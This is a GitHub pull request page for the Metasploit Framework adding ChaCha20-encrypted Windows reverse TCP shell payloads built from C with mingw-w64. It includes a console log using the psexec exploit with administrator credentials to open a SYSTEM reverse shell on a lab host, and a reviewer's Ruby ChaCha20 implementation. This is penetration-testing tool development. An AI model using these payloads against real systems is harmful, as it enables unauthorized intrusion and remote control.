Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add compilable, encrypted payloads #12530

Merged
merged 67 commits into from Nov 21, 2019
Merged

Add compilable, encrypted payloads #12530

merged 67 commits into from Nov 21, 2019

Conversation

@space-r7
Copy link
Contributor

space-r7 commented Nov 1, 2019

Description

This adds four new reverse tcp payloads for Windows into Framework, a stageless and staged payload for both x86 and x64 architectures. These payloads start as C reverse shell programs that use techniques intoduced by Matt Graeber and Nick Harbour to produce position-independent shellcode with a compiler. For the payloads to be useful, Mingw-w64 should be on your system. There are a number of compiler/linker flags that are needed to properly compile these payloads, so a small utility library has been added to take care of those requirements. This can be found in lib/metasploit/framework/compiler/mingw.rb.

These payloads also encrypt their communications using the Chacha20 cipher. To ensure that both the payload and handler are using the same key, the database is used by saving the key and associating it with a randomly generated UUID. In the case that a database is not connected and the associated UUID is not found, the payload will fall back to datastore options.

Scenarios

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.37.136
rhosts => 192.168.37.136
msf5 exploit(windows/smb/psexec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(windows/smb/psexec) > set payload windows/x64/encrypted_shell/reverse_tcp
payload => windows/x64/encrypted_shell/reverse_tcp
msf5 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf5 exploit(windows/smb/psexec) > set smbpass password
smbpass => password
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] 192.168.37.136:445 - Connecting to the server...
[*] 192.168.37.136:445 - Authenticating to 192.168.37.136:445 as user 'administrator'...
[*] 192.168.37.136:445 - Selecting PowerShell target
[*] 192.168.37.136:445 - Executing the payload...
[+] 192.168.37.136:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (3072 bytes) to 192.168.37.136
[*] Encrypted reverse shell session 1 opened (192.168.37.1:4444 -> 192.168.37.136:49185) at 2019-11-01 09:15:21 -0500

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>^C
Abort session 1? [y/N]  y
""

[*] 192.168.37.136 - Encrypted reverse shell session 1 closed.  Reason: User exit
msf5 exploit(windows/smb/psexec) > db_disconnect
Successfully disconnected from the data service: local_db_service.
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] 192.168.37.136:445 - Connecting to the server...
[*] 192.168.37.136:445 - Authenticating to 192.168.37.136:445 as user 'administrator'...
[*] 192.168.37.136:445 - Selecting PowerShell target
[*] 192.168.37.136:445 - Executing the payload...
[+] 192.168.37.136:445 - Service start timed out, OK if running a command or non-service executable...
[*] No existing key/nonce in db. Resorting to datastore options.
[*] Sending stage (3072 bytes) to 192.168.37.136
[*] Encrypted reverse shell session 2 opened (192.168.37.1:4444 -> 192.168.37.136:49186) at 2019-11-01 09:15:59 -0500

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
@busterb

This comment has been minimized.

Copy link
Member

busterb commented Nov 13, 2019

Since we've had a few compatibility issues testing this PR, and will probably have more down the road, I took a stab at just implementing chacha20 in Ruby as well, so we could use something that would work everywhere. As the base implementation, I grabbed: https://github.com/pts/chacha20/blob/master/chacha20_python3.py
and wound up with this:

def chacha20_xor_stream(key, iv, position=0)
  # Generate the xor stream with the ChaCha20 cipher

  raise TypeError unless position.is_a? Integer
  raise TypeError unless key.is_a? String
  raise TypeError unless iv.is_a? String
  raise RangeError if position > 0xffffffff
  raise RangeError unless key.length == 32
  raise RangeError unless iv.length == 8

  Enumerator.new do |enum|
    def rotate(v, c)
      ((v << c) & 0xffffffff) | v >> (32 - c)
    end

    def quarter_round(x, a, b, c, d)
      x[a] = (x[a] + x[b]) & 0xffffffff
      x[d] = rotate(x[d] ^ x[a], 16)
      x[c] = (x[c] + x[d]) & 0xffffffff
      x[b] = rotate(x[b] ^ x[c], 12)
      x[a] = (x[a] + x[b]) & 0xffffffff
      x[d] = rotate(x[d] ^ x[a], 8)
      x[c] = (x[c] + x[d]) & 0xffffffff
      x[b] = rotate(x[b] ^ x[c], 7)
    end

    ctx = [1634760805, 857760878, 2036477234, 1797285236]
    ctx += key.unpack('V8')
    ctx[12] = ctx[13] = position
    ctx += iv.unpack('VV')
    while true
      x = ctx.dup
      for i in 0..9
        quarter_round(x, 0, 4,  8, 12)
        quarter_round(x, 1, 5,  9, 13)
        quarter_round(x, 2, 6, 10, 14)
        quarter_round(x, 3, 7, 11, 15)
        quarter_round(x, 0, 5, 10, 15)
        quarter_round(x, 1, 6, 11, 12)
        quarter_round(x, 2, 7,  8, 13)
        quarter_round(x, 3, 4,  9, 14)
      end

      stream = []
      for i in 0..15
        v = (x[i] + ctx[i]) & 0xffffffff
        enum.yield(v & 0xff)
        enum.yield(v >> 8 & 0xff)
        enum.yield(v >> 16 & 0xff)
        enum.yield(v >> 24 & 0xff)
      end
      ctx[12] = (ctx[12] + 1) & 0xffffffff
      if ctx[12] == 0
        ctx[13] = (ctx[13] + 1) & 0xffffffff
      end
    end
  end
end

def chacha20_crypt(data, key, iv=nil, position=0)
  # Encrypt (or decrypt) with the ChaCha20 cipher.
  iv = "\0" * 8 if iv.nil?
  if key.length < 32
    key = (key * (32 / key.length + 1))[0..31]
  end

  enc = []
  stream = chacha20_xor_stream(key, iv, position)
  data.unpack("c*").each do |a|
    enc << (a.ord ^ stream.next)
  end
  enc.pack("c*").force_encoding('ASCII-8BIT')
end

def tests
  pt = "Hello World"
  ct = "\xeb\xe78\xad\xd5\xab\x18R\xe2O~".force_encoding('ASCII-8BIT')
  key = "chacha20!"
  puts chacha20_crypt(pt, key) == ct
  puts chacha20_crypt(ct, key) == pt

  # ---

  vectors = [
    ['76b8e0ada0f13d90405d6ae55386bd28bdd219b8a08ded1aa836efcc8b770dc7da41597c5157488d7724e03fb8d84a376a43b8f41518a11cc387b669',
     '0000000000000000000000000000000000000000000000000000000000000000',
     '0000000000000000'],
    ['4540f05a9f1fb296d7736e7b208e3c96eb4fe1834688d2604f450952ed432d41bbe2a0b6ea7566d2a5d1e7e20d42af2c53d792b1c43fea817e9ad275',
     '0000000000000000000000000000000000000000000000000000000000000001',
     '0000000000000000'],
    ['de9cba7bf3d69ef5e786dc63973f653a0b49e015adbff7134fcb7df137821031e85a050278a7084527214f73efc7fa5b5277062eb7a0433e445f41e3',
     '0000000000000000000000000000000000000000000000000000000000000000',
     '0000000000000001'],
    ['ef3fdfd6c61578fbf5cf35bd3dd33b8009631634d21e42ac33960bd138e50d32111e4caf237ee53ca8ad6426194a88545ddc497a0b466e7d6bbdb004',
     '0000000000000000000000000000000000000000000000000000000000000000',
     '0100000000000000'],
    ['f798a189f195e66982105ffb640bb7757f579da31602fc93ec01ac56f85ac3c134a4547b733b46413042c9440049176905d3be59ea1c53f15916155c2be8241a38008b9a26bc35941e2444177c8ade6689de95264986d95889fb60e84629c9bd9a5acb1cc118be563eb9b3a4a472f82e09a7e778492b562ef7130e88dfe031c79db9d4f7c7a899151b9a475032b63fc385245fe054e3dd5a97a5f576fe064025d3ce042c566ab2c507b138db853e3d6959660996546cc9c4a6eafdc777c040d70eaf46f76dad3979e5c5360c3317166a1c894c94a371876a94df7628fe4eaaf2ccb27d5aaae0ad7ad0f9d4b6ad3b54098746d4524d38407a6deb',
     '000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f',
     '0001020304050607']
  ]

  i = 1
  vectors.each do |ciphertext, key, iv|
    ciphertext = [ciphertext].pack("H*")
    key = [key].pack("H*")
    iv = [iv].pack("H*")
    ok = chacha20_crypt("\0" * ciphertext.length, key, iv) == ciphertext
    puts("Test #{i} #{ok ? 'OK' : 'Failed'}.")
    i += 1
  end
end

tests

There's still a glitch in the test vector (the first test case fails, but the second passes), but this is maybe a missing pack or unpack away from working generally. Ah, Ruby was trying to infer Unicode with the first test, doing a comparison at a byte level worked fine. What do you think?

lib/rex/crypto/chacha20.rb Outdated Show resolved Hide resolved
@busterb

This comment has been minimized.

Copy link
Member

busterb commented Nov 13, 2019

Using the above pure-Ruby chacha20 implementation, I got the encrypted shellcode stager working properly. There needs to be a bit more work to get the encrypted stream functioning as expected, as the cipher state needs to be at least preserved after the session begins, and there are some questions about how the IV is initialized.

EDIT: Confirmed that the IV is the same for every encrypted message, and not held for the whole encrypted stream. This will make it relatively easy to guess even without knowledge of the algorithm if you guess that most command shells will initially send a plaintext something like:

Microsoft Windows [Version 10.0.17763.805]
(c) 2018 Microsoft Corporation. All rights reserved.

Chacha20 can only help avoid revealing the stream state if the IV is set once initially for the session. Otherwise it's irrelevant since there's plenty of known-plaintext in a common session.

Note this is the original version with the 64-bit IV and 64-bit block
counter. This can be changed to the RFC version in a bit.
@busterb

This comment has been minimized.

Copy link
Member

busterb commented Nov 13, 2019

I pushed up the initial ruby chacha implementation into rex/crypto/chacha20.rb. It's not enabled yet, since it needs to be updated to use the RFC's 96-bit IV, but that shouldn't take too long. I think once that and the initial block offset of 1 are added, this should be compatible with the OpenSSL version.

Copy link
Contributor

acammack-r7 left a comment

Lots of nifty code! There are some tweaks that I think would make this more maintainable and help improve our payload generation architecture overall.

lib/msf/core/payload_set.rb Outdated Show resolved Hide resolved
lib/msf/core/payload_set.rb Outdated Show resolved Hide resolved
lib/metasploit/framework/compiler/mingw.rb Outdated Show resolved Hide resolved
lib/msf/core/framework.rb Outdated Show resolved Hide resolved
lib/msf/core/payload.rb Outdated Show resolved Hide resolved
lib/msf/core/payload/windows/chacha.rb Outdated Show resolved Hide resolved
lib/msf/core/payload/windows/encrypted_reverse_tcp.rb Outdated Show resolved Hide resolved
lib/msf/core/payload/windows/encrypted_reverse_tcp.rb Outdated Show resolved Hide resolved
end

def headers
%Q^

This comment has been minimized.

Copy link
@acammack-r7

acammack-r7 Nov 14, 2019

Contributor

I think all this would read better and be more maintainable as an ERB template or two. If you are interested in doing that conversion we can work through what that would look like.

lib/msf/core/payload_generator.rb Outdated Show resolved Hide resolved
space-r7 added 12 commits Nov 15, 2019
The c code was modified in order to keep
track of the context.
@busterb busterb self-assigned this Nov 20, 2019
bcook-r7 pushed a commit that referenced this pull request Nov 21, 2019
@bcook-r7 bcook-r7 merged commit 51f26a9 into rapid7:master Nov 21, 2019
1 of 3 checks passed
1 of 3 checks passed
Metasploit Automation - Sanity Test Execution Running automation sanity tests. Details available on completion.
Details
continuous-integration/travis-ci/pr The Travis CI build is in progress
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
@busterb

This comment has been minimized.

Copy link
Member

busterb commented Nov 21, 2019

Release Notes

A new infrastructure for building shell payloads from C source code has been added as well as a set of new encrypted stagers and shell payloads that take advantage of the new build system. The shellcode is built at runtime with the mingw-w64 compiler toolchain, which is required in order to take advantage of these payload modules.

jmartin-r7 added a commit to jmartin-r7/metasploit-framework that referenced this pull request Nov 21, 2019
@busterb busterb added the msf5 label Nov 21, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
10 participants
You can’t perform that action at this time.